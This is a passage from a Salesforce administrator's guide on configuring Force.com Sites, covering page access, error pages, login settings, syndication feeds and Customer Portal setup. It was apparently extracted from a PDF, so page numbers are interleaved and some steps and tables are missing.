• Click Edit on the Enabled Apex Class Access related list to select Apex controllers and methods for your site. Controllers
and methods that are already associated with your site's Visualforce pages are enabled by default.
• Click Edit on the Enabled Visualforce Page Access related list to select Visualforce pages for your site. Changes made
here are reflected on the Site Visualforce Pages related list on the Site Details page, and vice versa.
See Also:
Sites Overview
Setting Up Sites
Configuring Sites
Sites-Related Apex Methods and Expressions
Setting Your Organization-Wide Sharing Model
1280
Force.com Sites Managing Force.com Site Visualforce Pages
Force.com sites uses Visualforce pages for all site and error pages. Sample error pages use the SiteSamples static resource for
their stylesheet and images. Don't rename or delete SiteSamples or you may get an error.
All pages that you want to expose on a site must be associated with that site. If a page is not listed under Site Visualforce
Pages, an authentication or page-not-found error is displayed based on the existence of the page.
To enable Visualforce pages for your site:
Note: If you select a Visualforce page for any of the lookup fields on the Site Detail page, any of the error pages, or
the Change Password Page under login settings, that page is automatically enabled for your site. If you remove a
page from this list, but it is still selected in one of these places, public users can access that page. To completely remove
pages from your site, disable them here and make sure they are not selected in any lookup fields for your site.
See Also:
Sites Overview
Setting Up Sites
Configuring Sites
Managing Force.com Site Standard Pages
Assigning Force.com Site Error Pages
What is a Static Resource?
1281
Force.com Sites Managing Force.com Site Standard Pages
Force.com sites uses Visualforce pages for all site and error pages. Force.com also provides some standard pages that you can
use.
All pages that you want to expose on a site must be enabled for that site. If a page is not listed under Site Standard Pages,
Salesforce.com displays an authorization required error.
To control which standard pages users see for your site:
• Home Page—The standard page associated with the Home tab (/home/home.jsp).
• Ideas Pages—The standard pages associated with ideas. If you want to use default ideas pages (for example, IdeasHome),
enable these pages.
• Answers Pages—The standard pages associated with answers. If you want to use default answers pages (for example,
AnswersHome), enable these pages.
• Search Pages—The standard Salesforce.com search pages. To allow public users to perform standard searches, enable
these pages.
• Lookup Pages—The standard Salesforce.com lookup pages. These are the popup windows associated with lookup
fields on Visualforce pages.
5. Click Save.
Note: Make sure to disable any pages that you are not actively using in your site. Otherwise, they may be accessible
to public users. Also, make sure to set up private sharing to restrict search and lookup access for public users.
See Also:
Sites Overview
Setting Up Sites
Configuring Sites
Managing Force.com Site Visualforce Pages
Assigning Force.com Site Error Pages
1282
Force.com Sites Assigning Force.com Site Error Pages
Force.com sites uses Visualforce pages for all site and error pages. Sample error pages use the SiteSamples static resource for
their stylesheet and images. Don't rename or delete SiteSamples or you may get an error.
To set the error pages for your site:
• Authorization Required Page—The page users see when trying to access pages for which they do not have
authorization.
• Limit Exceeded Page—The page users see when your site has exceeded its bandwidth limits.
• Maintenance Page—The page users see when your site is down for maintenance.
• Service Not Available Page—The page users see when Salesforce.com servers are unavailable. This custom
page is rendered from a static resource that you choose. The static resource is uploaded to the cache server when assigned
as the Service Not Available page, and when updated after assignment. The custom page is shown for HTTP requests
only; caching is not used for HTTPS. Not available for Developer Edition or sandbox organizations.
If you haven't set a custom page for a site that uses a site prefix, the custom page for the root site is used when servers
are unavailable. For example, if http://mycompany.force.com/sales doesn't have a custom page, but
http://mycompany.force.com does, that custom page is used. Otherwise, the Maintenance page is shown by
default.
Note: The static resource:
• Page Not Found Page—The page users see when trying to access a page that cannot be found.
Note: You can use the action attribute on an <apex:page> component to redirect the Page Not Found error
page. Using this kind of redirect on any other error pages will redirect users to the Maintenance page.
• Generic Error Page—The page users see when encountering generic exceptions.
5. Click Save.
6. On the Site Details page, click Preview to view the associated page as it would appear in a browser.
1283
Force.com Sites Viewing 24-Hour Site Usage History
Tip: Add the <site:previewAsAdmin /> component right before the closing </apex:page> tag in your custom
Visualforce error pages to view detailed site error messages in administrator preview mode.
See Also:
Sites Overview
Setting Up Sites
Configuring Sites
Managing Force.com Site Visualforce Pages
Managing Force.com Site Standard Pages
Monitor the bandwidth and request time usage for each of your sites by viewing the usage data tracked on this related list. By
closely monitoring your sites, you can avoid exceeding your limits.
To view the 24-hour usage history for your site:
The 24-Hour Usage History related list tracks and displays the following usage metrics for your site:
• Origin Bandwidth—Bandwidth is calculated as the number of megabytes served and received from the site's origin server.
The Daily Limit applies to a rolling 24-hour period.
• Request Time—“Service request time” is calculated as the total server time in minutes required to generate pages for the
site. The Daily Limit applies to a rolling 24-hour period.
“Origin server” refers to the Web server that hosts your site. “Rolling 24-hour period” refers to the 24 hours immediately
preceding the current time.
1284
Force.com Sites Viewing Force.com Site History
For each metric, the related list displays Current Usage, Daily Limit, and the Percent Used.
See Also:
Sites Overview
Sites Considerations
Setting Up Sites
Configuring Sites
Tracking Your Site with Google Analytics
Reporting on Sites
The Site History related list tracks and displays the changes made to your site. All of the following events are tracked in the
site history, along with the user who made the change and the time it occurred:
Event Description
Site Creation Logs when each site was created.
Site Detail Changes Changes to the following site values are logged:
• Site Label
• Site Name
• Site Description
• Site Contact
• Default Web Address
• Custom Web Address
• Active Status
• Active Site Home Page
• Inactive Site Home Page
• Site Template
• Site Robots.txt
• Site Favorite Icon
1285
Force.com Sites Managing Force.com Site Login and Registration Settings
Event Description
• Analytics Tracking Code
• Enable Feeds
Site Standard Pages Logs when any standard page is enabled or disabled.
Site Error Pages Logs when any error page assignment is changed.
Login Settings Changes Changes to the following login settings are logged:
• Portal
• Change Password Page
• Require Non-Secure Connections (HTTP)
See Also:
Sites Overview
Setting Up Sites
Configuring Sites
Use login settings if you want to let users register for and log in to your portal from your public Force.com site. For example,
users browsing through an ideas site can register and login directly from that site, and as authenticated users, they can then
vote, add comments, and participate in the ideas community. When users successfully log in, they leave the public site and
enter the associated portal seamlessly.
Note: Only Customer Portals can be used for self-registration. Partner portals do not support self-registration.
Force.com sites provides built-in registration and login logic. Default Force.com-branded Visualforce pages are associated
with registration, login, forgot password, and password change processes. You can modify these pages or replace them with
your own.
The following default login and registration pages are provided by default:
1286
Force.com Sites Managing Force.com Site Login and Registration Settings
Note: The login and registration forms must be secure. Set the forceSSL attribute to true for these forms. However,
salesforce.com recommends that you set forceSSL to false for forms accessed by users who have already been
authenticated, such as portal users. Since the forceSSL attribute forces a redirect to a secure URL, authenticated
users would encounter an error.
• Checks new user information against existing users for the Customer Portal associated with the site
• Checks to see if a contact already exists for the new user
• Creates a new contact, if one doesn't already exist, and associates it with the account for the site
Important: You must update the SiteRegisterController with the Account ID using the following steps:
4. Click Save.
• Enables the Customer Portal for the new user and sends an email confirmation message
• Optionally, allows users to create passwords on the registration page, avoiding the standard email confirmation process
1287
Force.com Sites Managing Force.com Site Login and Registration Settings
5. From the Enable Login For list, select a portal to associate with your site. The portal you choose must have the Login
Enabled option selected. For Customer Portals, you must also select the Self-Registration Enabled option.
Force.com Sites leverages the following portal settings:
• Logout URL is used if you want to take users to a specific page on logout. If this value is left blank, users are taken to
the page specified in the Active Site Home Page field for your site.
• Lost Password Template is used for the forgot password process.
• Header, Footer, Logo, and Login Message are used for the look and feel on IdeasHome and AnswersHome pages.
• For Customer Portals:
6. Select a Change Password Page. A default page is provided, but you can select your own page instead, using the lookup
field.
7. Select the Require Non-Secure Connections (HTTP) checkbox if you want to override your organization's security
settings and exclusively use HTTP when logging in to the portal from your site. If this checkbox is not selected, the
Require Secure Connections (HTTPS) setting found at Setup ➤ Security Controls ➤ Session Settings is used
to determine the security level.
The following table illustrates the relationship between these settings.
1288
Force.com Sites Associating a Portal with Sites
Caution: If the Require Secure Connections (HTTPS) checkbox on the Session Settings page is selected,
and the Require Non-Secure Connections (HTTP) checkbox on the Login Settings page is not selected,
users logging in to the associated portal from the site will see the secure.force.com domain. For example, if
you registered mycompany.force.com as your custom domain, the URL changes to
https://mycompany.secure.force.com upon login.
Customers using a script to login to sites can use the optional refURL URL parameter to retain the custom domain
name after login. This parameter has no effect if Require Non-Secure Connections (HTTP) has been set
for the site or Require Secure Connections (HTTPS) has been set for the organization. An example URL
using refURL is: http://mysite.secure.force.com/SiteLogin?refURL=http://mysite.com.
8. The Secure Web Address field shows the unique Force.com URL for this site when using SSL.
9. Click Save.
You can also enable Sites to use your identity provider for single sign-on.
Note: For ideas and answers, the community associated with the portal must have one or all portals selected in the
Portal drop-down list on the community detail page. To find the community detail page, click Setup ➤ Customize
➤ Ideas ➤ Communities or Setup ➤ Customize ➤ Answers ➤ Communities.
See Also:
Sites Overview
Setting Up Sites
Configuring Sites
Associating a Portal with Sites
Sites-Related Apex Methods and Expressions
Setting Up Your Customer Portal
You can enable users to register for or log into an associated portal seamlessly from your site.
Note: Only Customer Portals can be used for self-registration. Partner portals do not support self-registration.
a. Click Setup ➤ Customize ➤ Customer Portal ➤ Settings, or click Setup ➤ Customize ➤ Partners ➤ Settings.
1289
Force.com Sites Associating a Portal with Sites
b. If you have not enabled your portal, select Enable Customer Portal or Enable Partner Relationship
Management and click Save.
c. Click Edit for the portal you want to modify.
d. Configure the portal as follows:
2. If you are using a Customer Portal and want to allow self-registration, follow these steps:
a. Click Setup ➤ Customize ➤ Customer Portal ➤ Settings, or click Setup ➤ Customize ➤ Partners ➤ Settings.
b. Click the name of the portal that you want to associate with your site.
c. Click the name of each profile associated with your portal users and do the following:
i. Scroll down to the Enabled Visualforce Page Access section and click Edit.
ii. Add the appropriate public site pages to the Enabled Visualforce Pages list. This allows portal users with
that profile to view these pages.
Note: By default, portal users can see all pages enabled for the associated public site, so you only have to
enable the pages that require authentication.
For more information, see Managing Force.com Site Login and Registration Settings.
1290
Force.com Sites Sites-Related Apex Methods and Expressions
Note: For ideas and answers sites, you must make the community visible in the portal and enable the IdeasHome or
AnswersHome page for the site. To associate the community with one or more portals:
See Also:
Sites Overview
Setting Up Sites
Configuring Sites
Managing Force.com Site Login and Registration Settings
Setting Up Your Customer Portal
String opt_oldpassword
1291
Force.com Sites Sites-Related Apex Methods and Expressions
1292
Force.com Sites Sites-Related Apex Methods and Expressions
Force.com provides the following Apex methods for use with the cookie class and Force.com sites:
1293
Force.com Sites Sites-Related Apex Methods and Expressions
Force.com provides the following Apex methods for use with the urlRewriter instance and Force.com sites:
For more information about the site and cookie classes, as well as the urlRewriter instance, see the Force.com Apex
Code Developer's Guide.
{!$Site.LoginEnabled} Returns true if the current site is associated with an active login-enabled
portal; otherwise returns false.
{!$Site.RegistrationEnabled} Returns true if the current site is associated with an active
self-regitration-enabled Customer Portal; otherwise returns false.
{!$Site.IsPasswordExpired} For authenticated users, returns true if the currently logged-in user's password
is expired. For non-authenticated users, returns false.
{!$Site.AdminEmailAddress} Returns the value of the Site Contact field for the current site.
1294
Force.com Sites Tracking Your Site with Google Analytics
Note: To use these expressions, the Force.com sites feature must be enabled for your organization. You must also use
them within the context of your public site; otherwise, an empty string is returned for all expressions except
{!$Site.Template}, which returns the default template for the site.
See Also:
Sites Overview
Setting Up Sites
Configuring Sites
Managing Force.com Site Login and Registration Settings
Force.com sites provides out-of-the-box integration with Google Analytics. Use Google Analytics to track the usage of your
sites and site pages, including number of visits, number of page views, average time spent on site, and more.
Note: The <site:googleAnalyticsTracking/> component only works on pages used in a Force.com site. Sites
must be enabled for your organization and the Analytics Tracking Code field must be populated. To get a
tracking code, go to the Google Analytics website.
1295
Force.com Sites Using Workflow for Sites
2. Add a new profile in Google Analytics and enter the domain or full URL for the site you want to track.
3. Copy the Web Property ID from Google's tracking status information and paste it into the Analytics Tracking
Code field on the Site Edit page for the site you want to track. The Web property ID starts with the letters UA followed
by your account and profile numbers. For example, UA-9049246-2.
4. Click Save.
5. To track the Visualforce pages associated with your site, enter the following tag in the site template for those pages, or in
the individual pages themselves:
<site:googleAnalyticsTracking/>
Pages that don't contain the tag and aren't associated with a site template that contains the tag won't be tracked. The
default site template already contains the tag, so all pages using that template will be tracked—including certain default
pages.
Note: Google recommends adding the component at the bottom of the page to avoid increasing page load time.
6. Go to the Google Analytics site and follow their instructions for completing the process. After signing up, it may take up
to 24 hours to see initial tracking results in Google Analytics.
Tip: To track multiple sites separately, create separate profiles using the full site URLs and enter a different Web
property ID in the Analytics Tracking Code field for each site.
See Also:
Sites Overview
Managing Sites
Creating and Editing Sites
Viewing 24-Hour Site Usage History
Reporting on Sites
With workflow for sites, you can create workflow rules that trigger email alerts when certain site-related criteria are met. For
example, create a rule that sends your site administrator an email alert when bandwidth usage reaches 80% of the daily bandwidth
limit or when a site's status changes from the active state.
1296
Force.com Sites Using Workflow for Sites
Setting up the right site usage workflow rules can help you keep your sites from exceeding rolling 24-hour limits for bandwidth
and service request time, and monthly limits for page views. Workflow rules that are created on the Site object are evaluated
every hour for all sites within the organization, unless your criteria is limited to certain sites. Workflow rules that are created
on the Organization object are evaluated every three hours. Workflow rules are also evaluated whenever a site is edited or
saved.
Only email alerts actions are supported for site usage workflow rules. Other workflow actions, such as field updates, tasks, and
outbound messages, are not available.
To create a site usage workflow rule, click Setup ➤ Create ➤ Workflow & Approvals ➤ Workflow Rules, then use the
workflow rule wizard with the following settings:
Select object
When selecting an object, choose either Organization (for monthly page views allowed and monthly page views used
fields) or Site (for site detail, daily bandwidth and request time, monthly page views allowed, and other fields). These
objects are only available if Force.com sites are enabled for your organization.
Rule Criteria
Enter your rule criteria by doing one of the following:
• Choose criteria are met and select the filter criteria that a site must meet to trigger the rule. For example, to
trigger the rule every time the active status changes for a site within your organization, set the filter to Site Status
not equal to Active. To add more rows or to set up Advanced Filter Conditions, click Advanced
Options....
• Choose formula evaluates to true and enter a formula. The rule is triggered if the formula returns “True.”
For example, the following formula triggers the rule when bandwidth usage reaches 80% of the daily bandwidth
limit:
In the next example, the formula triggers the rule when time usage reaches 80% of the daily time limit:
Note: In the first example, since DailyBandwidthUsed is measured in bytes and DailyBandwidthLimit
is measured in megabytes, a factor of one million is included in the second part of the formula. In the second
example, since DailyRequestTimeUsed is measured in milliseconds and DailyRequestTimeLimit is
measured in minutes, a factor of sixty thousand is included in the second part of the formula.
Workflow actions
When adding workflow actions, click Add Workflow Action and choose New Email Alert or Select Existing
Action.
1297
Force.com Sites Troubleshooting Sites Using Administrator Preview Mode
Tip: To create custom email templates using Site merge fields, click Setup ➤ Communication Templates ➤
Email Templates, then New Template. When configuring the template, use Site merge fields by selecting Site
Fields in the Select Field Type drop-down list of the Available Merge Fields section.
See Also:
Sites Overview
Administrator preview makes it easier to troubleshoot site errors. If you see errors on site pages and can't figure out the cause,
use administrator preview mode to look at them in context and in greater detail.
Note: Administrator preview mode is available for all active sites, including those with a branded custom Web address.
The detailed error messages in administrator preview mode are driven by the <site:previewAsAdmin /> component in
your Visualforce error pages. Starting with Summer '10, new organizations include the <site:previewAsAdmin />
component by default in standard error pages. You must add the component manually to all custom error pages and pages
from older organizations. We recommend that you add it right before the closing </apex:page> tag, like this:
<site:previewAsAdmin />
</apex:page>
1298
Force.com Sites About Syndication Feeds
Note: The <site:previewAsAdmin /> component contains the <apex:messages /> tag, so if you have that
tag elsewhere on your error pages, you will see the detailed error message twice.
See Also:
Sites Overview
Creating and Editing Sites
Assigning Force.com Site Error Pages
Syndication feeds give users the ability to subscribe to changes within Force.com sites and receive updates in external news
readers. Simply by defining a SOQL query and mapping, you can syndicate changes to public data to your end users. You can
create one or more syndication feeds for your organization's public sites or any Visualforce page. The syndication feed displays
the records specified by a SOQL query. Users can subscribe to the feed and view the feed when they visit the site or page.
1299
Force.com Sites Defining Syndication Feeds
• To test the validity of a feed, click Run Test. If any errors exist in the query definition or mapping, error messages are
displayed.
See Also:
Defining Syndication Feeds
Testing Syndication Feeds
Public Access Settings for Sites
Setting Your Organization-Wide Sharing Model
Syndication feeds give users the ability to subscribe to changes within Force.com sites and receive updates in external news
readers. Simply by defining a SOQL query and mapping, you can syndicate changes to public data to your end users. You can
create one or more syndication feeds for your organization's public sites or any Visualforce page. The syndication feed displays
the records specified by a SOQL query. Users can subscribe to the feed and view the feed when they visit the site or page.
Define a syndication feed, including what records are returned, and which data from the records is displayed:
Name
A descriptive name for this feed, which distinguishes it from other feeds you may create. Use only letters, numbers, or
the underscore character “_”. Do not use more than one underscore character in a row.
Description
Describe the feed. For example, “Account first name, last name, and region for the last ten accounts created or edited.”
Query
The SOQL query that defines which records are returned to the syndication feed. To ensure fast performance, some
limitations on the SOQL query are imposed:
• If the SOQL query does not specify a limit, then no more than 20 records are returned.
• Only the first 200 records are returned regardless of what the SOQL query specifies.
• If the SOQL query does not have an ORDER BY value specified, records are ordered by the LastModifiedDate
value if there is one, or by SystemModstamp value if not
• COUNT is not supported.
• Aggregate queries are not supported. For example, this query cannot be used in a syndication feeds SOQL query:
1300
Force.com Sites Defining Syndication Feeds
For more information about aggregate relationship queries, see the aggregate query examples in Web Services API
Developer's Guide.
• You can use bind variables, a variable whose value is supplied in the URL. For more information, see Using Bind
Variables for Queries and Mapping on page 1303.
Note: The guest user must have appropriate sharing and field-level security access or you cannot save your query,
because the Force.com platform verifies access and sharing before saving.
Mapping
Because syndication feeds use the ATOM web publishing protocol, you must provide a mapping value that matches
objects and fields on the returned records with ATOM constructs. Note that all values must be string literals. For more
information about mapping elements, see ATOM-Object Mapping on page 1301.
You can use bind variables, a variable whose value is supplied in the URL. For more information, see Using Bind Variables
for Queries and Mapping on page 1303.
Active
Select this checkbox to make the feed available for subscription. Once a feed is active, users have the option of subscribing
to it.
ATOM-Object Mapping
You must specify a mapping in the syndication feed definition. The mapping relates ATOM constructs such as entry title to
the corresponding value in a record, for example, “Account Name.” A full set of mappings represents a news feed, and the
query represents the content of each news item in a feed. For example, Lead records created today or Contacts with updated
Account information.
A feed element is the envelope for each part of a news item, and an entry element is the contents of the envelope.
Mapping also allows you to apply short labels to various fields for display purposes.
The following table lists each ATOM and object element and explains what values should be provided:
fid Optional (because default value is supplied). Id of the feed. By default, this value is the
public site URL. If you specify a value, it must be a valid internationalized resource
identifier (IRI). An IRI is a URL generalized to allow the use of Unicode.
fl Optional (because default value is supplied). Feed link. For example,
fl:"http://www.salesforce.com". News readers usually interpret this element
by linking the feed title to this URL.
1301
Force.com Sites Defining Syndication Feeds
ect Optional. Entry content of type text, html, or xhtml. For example, ect: html for
HTML content. Default is text.
el Optional. Entry link. Must be a valid URI. This value is usually a link to another
representation of the content for the entry. For example, the link could be to a record in
the Salesforce.com user interface. News readers usually interpret this element by linking
the entry title to this URL For example, el:"Account.URl".
es Optional. Entry summary. An optional summary of the entry content. For example, et:
Account.Name, es: Account.Name + "’s account number, website,
and description", ec: Account.Number + " " + Account.Website +
“ “ + Account.Description
If not specified, news readers display the content defined using the ec element.
est Optional. Entry summary of type text, html, or xhtml. For example, est: html for
HTML content. Default is text. Do not specify a value unless es has been specified.
et Required. Entry title, a field name. For example, et:Name.
eu Optional. By default, the required ATOM element <updated> value is automatically
provided by the LastModifedDate of the main entity being queried; usually the object
in the main FROM clause of the SOQL query. This value indicates the last time an entry
or feed was modified. If you wish to change this default behavior, you can specify a
different object or field's LastModifedDate be used. For example:
• Query: SELECT Id, Name, MyDate__c FROM AccountMapping Parameter:
eu: MyDate__c
• Query: SELECT Id, Lastname, Account.LastMOdifiedDate FROM
ContactMapping Parameter: eu: Account.LastModifiedDate
The following example shows a valid mapping values for a syndication feed:
ft: "Harry Potter", et: Name, ec: "description for " Name "<br>" Description, el: "/" Id,
ect: html
1302
Force.com Sites Defining Syndication Feeds
Feeds are displayed in the guest user context of the public site where they are displayed. Therefore, if you have used custom
labels to manage internationalization, and specified labels in your mapping, users see those labels displayed in the language of
the guest user. For more information, see Custom Labels and Feeds on page 1303.
You can only use string literals in feed mapping. You cannot use, for example, date literals such as TODAY or LAST_WEEK.
After you have defined a feed, you should test it, and then make the feed active by selecting the Active checkbox as described
above. For more information about testing, see Testing Syndication Feeds on page 1305.
{!var_name}
Note that this is not the literal name of the field, but an arbitrary name. At run time, the value for accountID is passed to
the query from the URL. This feed is accessed from the following URL and passes in the account ID as part of the query
string parameter:
site_URL/services/xml/My'Account'Feed?accountId=0013000000BmP4x
The following queries are not valid, because the bind variable is not in a valid position, and is not functioning as the variable
for a literal string:
• You cannot use a bind variable to represent a field name. This means a bind variable cannot be use on the left side of a
filter operation.
• You cannot use a bind variable to change the meaning or structure of a query for security reasons. Any special characters
you specify in the bind replacement value are interpreted as literal characters when the query is evaluated.
1303
Force.com Sites Defining Syndication Feeds
map_element_name: "{!$LABEL.custom_label_name}"
ft: "{!$LABEL.feedTitle}"
For more information about Visualforce, see the Visualforce Developer's Guide.
See Also:
About Syndication Feeds
Testing Syndication Feeds
1304
Force.com Sites Testing Syndication Feeds
Test the feed definition you have created before enabling it for customers.
To test a feed:
1. After creating a feed, navigate to Setup ➤ Sites and click the site for which you've defined the feed. Alternatively, you
can navigate to the feed detail page any number of ways, including clicking the feed name from the site detail page.
2. Click Preview for the feed you wish to test.
3. If one or more bind variables have been used in the feed, a dialog appears. Enter a test value for each bind variable.
4. A dialog appears allowing you to create a bookmark for the feed with the bind variable values you specified. You can save
the bookmark, or cancel the dialog.
5. The values returned by your feed are displayed. Verify that the results are what you expected.
See Also:
Defining Syndication Feeds
About Syndication Feeds
View the syndication feed definition, including what records are returned, and which data from the records is displayed:
Name
A descriptive name for this feed, which distinguishes it from other feeds you may create.
1305
Customer Portal Setting Up Your Customer Portal
Description
Describes the feed. For example, “Account first name, last name, and region for the last ten accounts created or edited.”
Query
The SOQL query that defines which records are returned to the syndication feed. To ensure fast performance, some
limitations on the SOQL query are imposed. For more information, see Defining Syndication Feeds on page 1300.
Mapping
Because syndication feeds use the ATOM web publishing protocol, you must provide a mapping value that matches
objects and fields on the returned records with ATOM constructs. Note that all values must be string literals. For more
information about mapping elements, see Defining Syndication Feeds on page 1300.
Active
This checkbox indicates whether the feed is available for subscription. Once a feed is active, users have the option of
subscribing to it.
See Also:
Defining Syndication Feeds
About Syndication Feeds
Testing Syndication Feeds
CUSTOMER PORTAL
A Salesforce.com Customer Portal is similar to a Self-Service portal in that it provides an online support channel for your
customers—allowing them to resolve their inquiries without contacting a customer service representative. However, a Customer
Portal provides significantly richer functionality than a Self-Service portal. This is because a Customer Portal has functionality
1306
Customer Portal Setting Up Your Customer Portal
similar to Salesforce.com. With a Customer Portal, you can customize and deliver a visually stunning user interface to your
customers, and use the following Salesforce.com features to help you and your customers succeed:
• Determine which pages and fields customers see with page layouts and field-level security
• Manage customers with profiles, roles, and sharing rules
• Provide and organize documents via Salesforce CRM Content or the Documents tab
• Create a knowledge base for your customers using Salesforce Knowledge
• Allow customers to participate in Salesforce CRM Ideas communities.
• Display and collect data that is unique to your organization with custom objects
• Display custom s-controls and content from other websites via Web tabs
• Provide customized reports via the Reports tab
3. Optionally, enable Salesforce CRM Content, Ideas, Answers, Entitlement Management or Salesforce Knowledge as
needed.
4. Create Customer Portal profiles.
For each profile:
5. Set up workflow:
1307
Customer Portal Setting Up Your Customer Portal
a. Set up workflow rules or case assignment rules to automatically assign cases created by portal users to Salesforce.com
users or queues by using the criteria Current User: User Type contains Customer Portal. For more
information, see Setting Up Assignment Rules on page 1047 and Managing Workflow Rules on page 1400.
For case assignment rules to work on the Customer Portal, select the Show Case Assignment checkbox and
Select Case Assignment checkbox by default checkboxes on case page layouts assigned to portal profiles.
Portal users cannot view these checkboxes on the Customer Portal. Note that assignment rules trigger when a case is
created and when it is edited. To prevent cases from being automatically reassigned when edited by portal users, add
a rule entry using the criteria Current User: User Type contains Customer Portal and select the Do
Not Reassign User checkbox. For more information, see Setting Up Assignment Rules on page 1047.
b. Create workflow alerts or case auto-response rules to automatically respond to portal users when they create a case on
your portal. To help you determine whether to use workflow alerts or auto-response rules, see Differences Between
Auto-Response Rules and Workflow Alerts on page 1057.
To learn more about implementing a Customer Portal, see Preparation for Setting Up Your Portal on page 1120.
Note: Contact salesforce.com about activating a Customer Portal for your organization.
See Also:
Customer Portal Setup Limits
Administrator setup guide: Salesforce Customer Portal Implementation Guide
Creating Multiple Customer Portals
Enabling Single Sign-On for Portals
1308
Customer Portal Setting Up Your Customer Portal
• After you enable a Customer Portal, you cannot disable it. However, you can prevent users from logging into it. See
Enabling Customer Portal Login and Settings on page 1313.
See Also:
Setting Up Your Customer Portal
Enabling Salesforce CRM Content in the Customer Portal
About Customer Portal User Management
Enabling the Customer Portal for Contacts and Person Accounts
After you have enabled the Salesforce.com Customer Portal, you can create multiple Customer Portals to satisfy the various
business needs of your customers.
To create more than one Customer Portal:
1. Click Setup ➤ Customize ➤ Customer Portal ➤ Settings.
2. Click New.
3. Follow the same steps used to set up your organization's first Customer Portal. For details, see Setting Up Your Customer
Portal on page 1306.
1309
Customer Portal Setting Up Your Customer Portal
Note: Contact salesforce.com for information about the number of Customer Portals you can activate for your
organization.
Before you begin creating multiple Customer Portals for your organization, review the following implementation tips and best
practices.
Implementation Tips
• Portal users can only log into Customer Portals assigned to their profile. To assign a profile to a Customer Portal, select
the name of a portal from the Customer Portal Setup page, click Edit Profiles in the Assigned Profiles section, and select
the Active checkbox next to the profile you want to assign to the portal.
A portal user can access all the Customer Portals assigned to his or her profile with one username and password.
You can view the number of active users associated with each profile assigned to a Customer Portal on the Users field on
the Assigned Profiles section.
• The login URL of each Customer Portal you create contains a unique identifier, such as portalId=060D00000000Q1F.
The unique identifier determines the specific portal a user can access. If a user accesses a login URL that does not contain
a unique identifier, they are automatically directed to the login URL of the first Customer Portal you created. Note that
portal users can only log into a Customer Portal via the portal's login page and not through the Salesforce.com login page.
• The settings on the following items apply to both your organization and your Customer Portals:
- List views
- Search layouts
- Case assignment rules
- Workflow alerts
Best Practices
• Because you can uniquely customize the fonts, colors, email templates, and login message of each Customer Portal you
create, you can build a Customer Portal for each product and customer service level supported by your organization. For
example, if your organization provides gold, silver, and bronze levels of customer support, then you could create a unique
Customer Portal for each.
Note: JavaScript and CSS code are automatically removed from HTML files used as the portal login message.
• You can standardize the communication templates sent to the users of all your Customer Portals by clicking the Set Default
Email Templates for All Customer Portals link on the Tools section of the Customer Portal Setup page. These settings
determine the email templates to use when sending email notifications, such as a new case comment or a reset password,
to portal users whose profiles are associated with more than one Customer Portal.
By default, sample templates are automatically selected for you in the New User Template, New Password Template,
and Lost Password Template lookup fields. However, sample templates are not selected for you in the New Comment
Template and Change Owner to Portal User Template lookup fields. Unless you select templates for these
fields, users whose profiles are associated with more than one Customer Portal will not receive email notifications when
new comments are added to their cases or when they become the new owner of a record in the Customer Portal. To create
templates or modify the samples, see Managing Email Templates on page 423. Email templates must be marked as
Available for Use to be sent to portal users.
Tip: Because the default email templates are sent to users of multiple Customer Portals, we recommend that you
create default email templates that do not contain portal-specific branding.
1310
Customer Portal Setting Up Your Customer Portal
• You cannot delete a Customer Portal, but you can prevent users from logging into a portal by deselecting the Login
Enabled checkbox. For more information, see Enabling Customer Portal Login and Settings on page 1313.
• You can create multiple Customer Portals that display different tabs for users with the same profile, as long as the profile
has access to each object displayed on a tab. For more information, see Setting Tab Visibility on page 468 and Customizing
Your Customer Portal Tabs on page 1323.
See Also:
Setting Up Your Customer Portal
About Customer Portal User Management
Customizing Your Customer Portal Tabs
Administrator setup guide: Salesforce Customer Portal Implementation Guide
Because Customer Portal and partner portal users appear in the role hierarchy but are external contacts who should not have
access to your organization's internal data, you must configure your organization's sharing settings to prevent inappropriate
access by portal users. When setting up a Customer Portal or partner portal, you can use the Convert Portal User Access wizard
to help ensure that no records or folders are shared with a portal user. The wizard affects the following:
Sharing Rules
The Convert Portal User Access wizard converts any sharing rules that include the Roles, Internal and Portal Subordinates
data set category to include the Roles and Internal Subordinates data set category instead.
The Roles and Internal Subordinates data set category allows you to create sharing rules that include all users in a specified
role plus all of the users in roles below that role, excluding any Customer Portal and partner portal roles.
Only organization-wide sharing rules are updated when you convert Roles, Internal and Portal Subordinates to Roles
and Internal Subordinates. The Roles, Internal and Portal Subordinates category for queues, public groups, list views,
documents, and manual sharing created on specific records by clicking the Sharing button is not converted to Roles and
Internal Subordinates.
Note: The Roles, Internal and Portal Subordinates data set category is only available in your organization after
you create at least one role in the role hierarchy.
The Roles and Internal Subordinates data set category is only available in your organization after you create at
least one role in the role hierarchy and enable a portal.
1311
Customer Portal Setting Up Your Customer Portal
Folder Sharing
The Convert Portal User Access wizard also enables you to automatically convert the access levels of any report, dashboard,
or document folders that are accessible to Roles, Internal and Portal Subordinates to a more restrictive access level: Roles
and Internal Subordinates. This helps prevent Customer Portal and partner portal users from accessing folders. Using
the wizard is more efficient than locating various folders in Salesforce.com and setting their access levels individually.
The wizard does not convert folders that are accessible to all users or accessible to public groups. You must manually
update the access levels on those folders.
When you first save a Customer Portal or partner portal, Salesforce.com automatically displays the Convert Portal User Access
wizard.
See Also:
Using the Convert Portal User Access Wizard
Configuring User Access to the Customer Portal
Enabling Your Customer Portal
Enabling the Partner Portal
When setting up a Customer Portal or partner portal, you can use the Convert Portal User Access wizard to help ensure that
no records or folders are shared with a portal user.
To use the wizard:
1. For the Customer Portal, click Setup ➤ Customize ➤ Customer Portal ➤ Settings. For the partner portal, click Setup
➤ Customize ➤ Partners ➤ Settings.
2. Click the Convert Portal User Access link.
3. Select the checkboxes next to the sharing rules you want to convert to Roles and Internal Subordinates.
If there are no sharing rules to convert but you want to convert the access level for folders, proceed to the following step.
4. Click Next.
5. Select the checkboxes next to the folders whose access levels you want to change to Roles and Internal Subordinates.
The wizard does not convert folders that are accessible to all users or accessible to public groups. You must manually update
the access levels on those folders.
A particular folder may display on multiple rows in the wizard. This is because the wizard displays a row for each Role,
Internal and Portal Subordinates category to which a folder is shared.
6. Click Next.
1312
Customer Portal Setting Up Your Customer Portal
See Also:
About the Convert Portal User Access Wizard
Setting Description
Name Name of the Customer Portal as displayed on the portal's
detail and edit pages, as well as the Customer Portal Setup
page. The name of the Customer Portal is not displayed on
portal pages, but it does display in the browser title bar.
The name of your portal must be unique for your
organization and not already in use by a Customer Portal or
partner portal. Furthermore, an error may occur if you name
a Customer Portal “partner portal” or vice versa.
Administrator
Click the lookup icon ( ) to choose a default administrator
for your Customer Portal. All email notifications regarding
users who self-register for your Customer Portal will be sent
to this Salesforce.com user.
